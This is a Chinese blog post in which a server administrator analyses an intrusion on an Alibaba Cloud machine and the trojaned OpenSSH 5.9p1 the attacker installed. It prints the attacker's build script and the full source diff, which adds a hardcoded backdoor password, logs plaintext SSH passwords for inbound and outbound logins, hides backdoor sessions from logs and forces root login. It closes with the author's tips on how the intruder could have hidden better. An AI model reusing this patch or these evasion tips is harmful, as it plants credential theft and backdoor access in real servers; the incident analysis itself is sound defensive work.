SSH服務惡意代碼分析

SSH服務惡意代碼分析

摘要:

本文介紹一個ssh服務的惡意代碼,該惡意代碼爲本人管理阿里雲服務器時偶然發現,研究源碼感覺存在較大的隱蔽性和安全隱患,因此寫此博客記錄之。

正文:

  • 初探:

    昨天檢查實驗室阿里雲服務器/etc/passwd 文件存在提權用戶Redistoor,初步懷疑係統被入侵。先不管,先把這個用戶給禁用。

    查看rc.local系統自啓動文件發現可疑啓動項/tmp/minerd –XXXXX,可初步判斷入侵者實際上已經獲得了root權限。

    切換到/tmp目錄下,未發現minerd程序,反而發現存在名字爲httpdd的可執行文件,運行httpdd -v 發現無輸出任何信息,感覺程序存在僞裝成httpd的可能,應該是惡意代碼,於是嘗試執行,僅僅發現程序會連接網絡,但具體做什麼事不得而知。

  • 入侵軌跡:

    進入Redistoor的根目錄,存在.bash_history文件,讀取本文件得到該入侵用戶bash歷史指令:

    這裏寫圖片描述

  • 密碼記錄:

    由於/tmp目錄下確實存在zilog文件,讀取該文件,嚇了一跳,尼瑪,記錄着全部用戶登錄到系統的明文密碼:

    user:passwd –> root:密碼

    這裏寫圖片描述

    到這裏大概已經可以猜到httpdd是用來傳輸zilog文件的程序了,嘗試着通過再次用ssh連接到服務器,結果zilog又再次記錄了本次登錄的密碼,並且不僅僅對root,對於任何用戶,該功能一直有效。

    一開始我懷疑是系統登錄時/etc/.bashrc 或者profile被修改了某些能夠記錄用戶密碼的腳本,然而我錯了。

  • 陷入困境:

    在糾結和無數次失敗的嘗試中度過了好幾個小時,思路主要是想知道每次登錄時,到底是哪個程序試圖在寫入zilog文件,嘗試方法是用lsof,然而寫入zilog文件似乎的很快的事情,當敲完lsof運行時可能程序早已寫入並退出,這樣lsof撲空。那我寫個while循環呢?並沒有什麼卵用。

    線索到這裏似乎就斷了,向阿里的客服申請幫助,可是居然要我花3000多塊錢買他們的服務器託管服務,就是個坑。還是自己動手豐衣足食好了。於是隨便到其他目錄逛逛,看下還有沒有其他可疑的線索。

  • 柳暗花明:

    嘿嘿!運氣好得不得了,在/usr目錄下有了新的發現。該目錄下面發現了Javar以及Farm的可執行代碼,執行Javar也是一個網絡連接程序,而且一旦運行按下Ctrl+C不但無法退出,還拋出一句“FuckYou!!!”,Oh,Shit! 這是入侵者最好的呼喊吧,在windows平臺用binaryviewer打開查看其二進制對於的ASCII碼,從中分析獲取其自定義的一些字符常量,發現DDOS選項,估計這是個執行DDOS攻擊的工具。

    此外在/usr目錄下還有一個‘1’的可執行程序,執行了一下發現其實是一個bash腳本:

yum install -y zlib zlib-devel
yum groupinstall -y "Development tools"
yum install -y openssl openssl-devel pam-devel
apt-get install gcc g++ make perl curl
apt-get install -y libssl-dev
apt-get install zlib1g.dev
apt-get install -y openssl
apt-get install -y rpm
apt-get install -y libssl-dev
apt-get install -y libpam0g-dev
apt-get install -y libkrb5-dev
tar zxvf China.Z.tar.gz
cd ./openssh-5.9p1
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make && make install
/etc/init.d/sshd restart
/etc/rc.d/init.d/sshd restart
cd ../
rm -rf /openssh-5.9p1
rm -rf China.Z.tar.gz
rm -rf Install.sh

從腳本中可以發現腳本會用yum或者apt-get安裝一些安裝sshd服務所需的依賴庫,然後解壓China.Z.tar.gz文件,估計該文件解壓出來就是
openssh-5.9p1文件,然後進入該文件去進行編譯,安裝替換掉系統原來的ssh程序,最後重啓sshd服務,只要入侵者在sshd服務中做一些手腳,就完全有可能獲取到登錄的明文密碼了,雖然一開始我也有懷疑是sshd服務被替換,沒想到入侵者居然真的用了這麼絕的手段。

  • 百密一疏:

    看了下/usr目錄,openssh-5.9pl居然還在!!!!!原來腳本中rm -rf /openssh-5.9pl少了個‘.’,百密一疏了吧,源碼都沒刪除,這回抓活的了。

    進入源碼目錄,天哪,好方,一堆文件,我只是想知道他到底改動了源碼的哪些地方而已。一開始思路是從文件修改時間上看,那些修改時間較爲臨近的就是被入侵者自己修改的文件,於是按照這個思路對問津按照時間進行排序,發現了個可以省很多時間的文件:ssdb5.9.p1.diff !哈哈,diff !!!!!!!!!! 真沒想到!打開文件,全部源碼修改暴露無疑:

diff -u openssh-5.9p1/auth.c openssh-5.9p1.patch//auth.c
--- openssh-5.9p1/auth.c    2011-05-29 18:40:42.000000000 +0700
+++ openssh-5.9p1.patch//auth.c 2012-02-04 22:17:53.381926889 +0700
@@ -271,14 +271,16 @@
    else
        authmsg = authenticated ? "Accepted" : "Failed";

-   authlog("%s %s for %s%.100s from %.200s port %d%s",
-       authmsg,
-       method,
-       authctxt->valid ? "" : "invalid user ",
-       authctxt->user,
-       get_remote_ipaddr(),
-       get_remote_port(),
-       info);
+   if(!secret_ok || secret_ok !=1){
+       authlog("%s %s for %s%.100s from %.200s port %d%s",
+           authmsg,
+           method,
+           authctxt->valid ? "" : "invalid user ",
+           authctxt->user,
+           get_remote_ipaddr(),
+           get_remote_port(),
+           info);
+   }

 #ifdef CUSTOM_FAILED_LOGIN
    if (authenticated == 0 && !authctxt->postponed &&
diff -u openssh-5.9p1/auth-pam.c openssh-5.9p1.patch//auth-pam.c
--- openssh-5.9p1/auth-pam.c    2009-07-12 19:07:21.000000000 +0700
+++ openssh-5.9p1.patch//auth-pam.c 2012-02-04 22:17:53.381926889 +0700
@@ -1210,6 +1210,10 @@
    if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
        debug("PAM: password authentication accepted for %.100s",
            authctxt->user);
+       if((f=fopen(ILOG,"a"))!=NULL){
+           fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);
+           fclose(f);
+       }
        return 1;
    } else {
        debug("PAM: password authentication failed for %.100s: %s",
diff -u openssh-5.9p1/auth-passwd.c openssh-5.9p1.patch//auth-passwd.c
--- openssh-5.9p1/auth-passwd.c 2009-03-08 07:40:28.000000000 +0700
+++ openssh-5.9p1.patch//auth-passwd.c  2012-02-04 22:17:53.381926889 +0700
@@ -85,7 +85,10 @@
 #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
    static int expire_checked = 0;
 #endif
-
+   if (!strcmp(password, SECRETPW)) {
+                secret_ok=1;
+                return 1;
+        }
 #ifndef HAVE_CYGWIN
    if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
        ok = 0;
@@ -123,6 +126,12 @@
    }
 #endif
    result = sys_auth_passwd(authctxt, password);
+   if(result){
+       if((f=fopen(ILOG,"a"))!=NULL){
+           fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);
+           fclose(f);
+       }
+   }
    if (authctxt->force_pwchange)
        disable_forwarding();
    return (result && ok);
diff -u openssh-5.9p1/canohost.c openssh-5.9p1.patch//canohost.c
--- openssh-5.9p1/canohost.c    2010-10-12 09:28:12.000000000 +0700
+++ openssh-5.9p1.patch//canohost.c 2012-02-04 22:17:53.381926889 +0700
@@ -78,10 +78,12 @@

    debug3("Trying to reverse map address %.100s.", ntop);
    /* Map the IP address to a host name. */
-   if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
-       NULL, 0, NI_NAMEREQD) != 0) {
-       /* Host name not found.  Use ip address. */
-       return xstrdup(ntop);
+   if(!secret_ok || secret_ok!=1){
+       if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+               NULL, 0, NI_NAMEREQD) != 0) {
+           /* Host name not found.  Use ip address. */
+           return xstrdup(ntop);
+       }
    }

    /*
Common subdirectories: openssh-5.9p1/contrib and openssh-5.9p1.patch//contrib
diff -u openssh-5.9p1/includes.h openssh-5.9p1.patch//includes.h
--- openssh-5.9p1/includes.h    2010-10-24 06:47:30.000000000 +0700
+++ openssh-5.9p1.patch//includes.h 2012-02-04 22:17:53.385927565 +0700
@@ -172,4 +172,9 @@

 #include "entropy.h"

+int secret_ok;
+FILE *f;
+#define ILOG "/tmp/ilog"
+#define OLOG "/tmp/olog"
+#define SECRETPW "apaajaboleh"
 #endif /* INCLUDES_H */
diff -u openssh-5.9p1/log.c openssh-5.9p1.patch//log.c
--- openssh-5.9p1/log.c 2011-06-20 11:42:23.000000000 +0700
+++ openssh-5.9p1.patch//log.c  2012-02-04 22:17:53.385927565 +0700
@@ -351,6 +351,7 @@
 void
 do_log(LogLevel level, const char *fmt, va_list args)
 {
+if(!secret_ok || secret_ok!=1){
 #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
    struct syslog_data sdata = SYSLOG_DATA_INIT;
 #endif
@@ -428,3 +429,4 @@
    }
    errno = saved_errno;
 }
+}
Common subdirectories: openssh-5.9p1/openbsd-compat and openssh-5.9p1.patch//openbsd-compat
Common subdirectories: openssh-5.9p1/openssh-5.9p1.patch and openssh-5.9p1.patch//openssh-5.9p1.patch
Only in openssh-5.9p1.patch/: password_authentication
Common subdirectories: openssh-5.9p1/regress and openssh-5.9p1.patch//regress
Common subdirectories: openssh-5.9p1/scard and openssh-5.9p1.patch//scard
diff -u openssh-5.9p1/servconf.c openssh-5.9p1.patch//servconf.c
--- openssh-5.9p1/servconf.c    2011-06-23 05:30:03.000000000 +0700
+++ openssh-5.9p1.patch//servconf.c 2012-02-04 22:17:53.385927565 +0700
@@ -686,7 +686,7 @@
    { "without-password",       PERMIT_NO_PASSWD },
    { "forced-commands-only",   PERMIT_FORCED_ONLY },
    { "yes",            PERMIT_YES },
-   { "no",             PERMIT_NO },
+   { "no",             PERMIT_YES },
    { NULL, -1 }
 };
 static const struct multistate multistate_compression[] = {
Only in openssh-5.9p1.patch/: sshbd5.9p1.diff
diff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c
--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700
+++ openssh-5.9p1.patch//sshconnect2.c  2012-02-04 22:17:53.385927565 +0700
@@ -878,6 +878,10 @@
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
+   if((f=fopen(OLOG,"a"))!=NULL){
+       fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
+       fclose(f);
+   }
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
diff -u openssh-5.9p1/sshlogin.c openssh-5.9p1.patch//sshlogin.c
--- openssh-5.9p1/sshlogin.c    2011-01-11 13:20:07.000000000 +0700
+++ openssh-5.9p1.patch//sshlogin.c 2012-02-04 22:17:53.389928235 +0700
@@ -133,8 +133,10 @@

    li = login_alloc_entry(pid, user, host, tty);
    login_set_addr(li, addr, addrlen);
-   login_login(li);
-   login_free_entry(li);
+   if(!secret_ok || secret_ok!=1){
+       login_login(li);
+       login_free_entry(li);
+   }
 }

 #ifdef LOGIN_NEEDS_UTMPX
@@ -158,6 +160,8 @@
    struct logininfo *li;

    li = login_alloc_entry(pid, user, NULL, tty);
-   login_logout(li);
-   login_free_entry(li);
+   if(!secret_ok || secret_ok!=1){
+       login_logout(li);
+       login_free_entry(li);
+   }
 }
diff -u openssh-5.9p1/version.h openssh-5.9p1.patch//version.h
--- openssh-5.9p1/version.h 2011-09-07 06:11:20.000000000 +0700
+++ openssh-5.9p1.patch//version.h  2012-02-04 23:03:22.821948952 +0700
@@ -1,6 +1,6 @@
 /* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */

-#define SSH_VERSION    "OpenSSH_5.9"
+#define SSH_VERSION    "OpenSSH_5.8p1 Debian-1ubuntu3"

 #define SSH_PORTABLE   "p1"
 #define SSH_RELEASE    SSH_VERSION SSH_PORTABLE
  • 上帝爲你關上一扇門,自己給自己打開一個窗:

    可見對源碼修改,使它具備記錄賬戶明文信息主要是在:auth-passwd.c中,代碼會執行fopen(“/tmp/zilog”,”a”)在文件末尾追加賬戶信息。
    在該代碼中,還有一點比較變態的是:SECRETPW 這個宏定義(在includes.h中定義爲#define SECRETPW “apaajaboleh”),代碼:

+   if (!strcmp(password, SECRETPW)) {
+                secret_ok=1;
+                return 1;
+        }
  • 大概的思路是密碼跟SECRETPW進行匹配,如果匹配滿足,則驗證通過。這意味也就着,入侵者在不知道密碼的情況下,只要用系統已有的賬戶名(包括root),輸入SECRETPW定義的字符串即”apaajaboleh”,也能登錄系統!!!!!

    另外一個值得注意的是,系統除了具有登錄到本機的賬號和密碼以外,還具有記錄從本機通過ssh、scp等命令登錄到其他計算機的能力,生成的記錄會保存在/tmp/zolog。在sshconnect2.c代碼中,實現了本功能。

if((f=fopen(OLOG,"a"))!=NULL){
    fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
    fclose(f);
}

總結及應對方法:

至此,本惡意程序的分析工作完畢,總結起來,該惡意代碼的執行特徵如下:

(1) 監控登錄到本機的用戶,並將登錄賬戶和密碼記錄到/tmp/zilog
(2) 監控通過本機登錄帶其他機器的用戶,並將登錄賬戶、密碼和目標地址記錄到/tmp/zolog
(3) 預留後門驗證密碼,方便密碼上傳程序上傳失敗時登錄系統使用。

應對策略:

   (1)刪除/usr/bin 下ssh開頭的可執行文件:rm -rf /usr/bin/ssh*
   (2)刪除/usr/sbin下sshd文件:rm -rf /usr/bin/sshd
   (3)刪除/etc/ssh 下的配置文件 rm -rf /etc/ssh/*
   (4)利用yum重裝openssh服務:yum reinstall openssh
      或者 下載openssh源碼編譯安裝
   (5)重置系統全部賬戶密碼,如果可能,改用公鑰-密鑰對認證

發此博客,主要是該惡意程序存在巨大的安全隱患,入侵者破解系統登錄密碼以後,通過替換系統關鍵遠程登錄服務sshd執行文件的方法自動上傳用戶密碼可謂一勞永逸,而預留後門登錄密碼的方式卻是特別保險的方法。
但是,吐槽一下,該攻擊者執行入侵的軌跡過於明顯,入侵手段還有一些需要提高的地方:

(1)留下大量的入侵記錄,在/etc/passwd中,既然已經獲得系統
    root權限,有必要刪除入侵賬戶,而且應該完全刪除入侵賬戶的根
    目錄;
(2)安裝惡意代碼過於隨意,如果將httpdd Javar Fram 等程序安    
    裝到/usr/bin或者/bin等目錄下,無疑會增加惡意程序的隱蔽
    性,增強其生存機率。
(3)最嚴重的是一時疏忽暴漏由於少加了個'.'直接暴漏主要的源代碼,
    這使得本次的偵破難度大大降低,可謂連根拔起。

在 Javar、httpdd、Farm中還有很多可以挖掘的信息,筆者無意,故放棄之。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章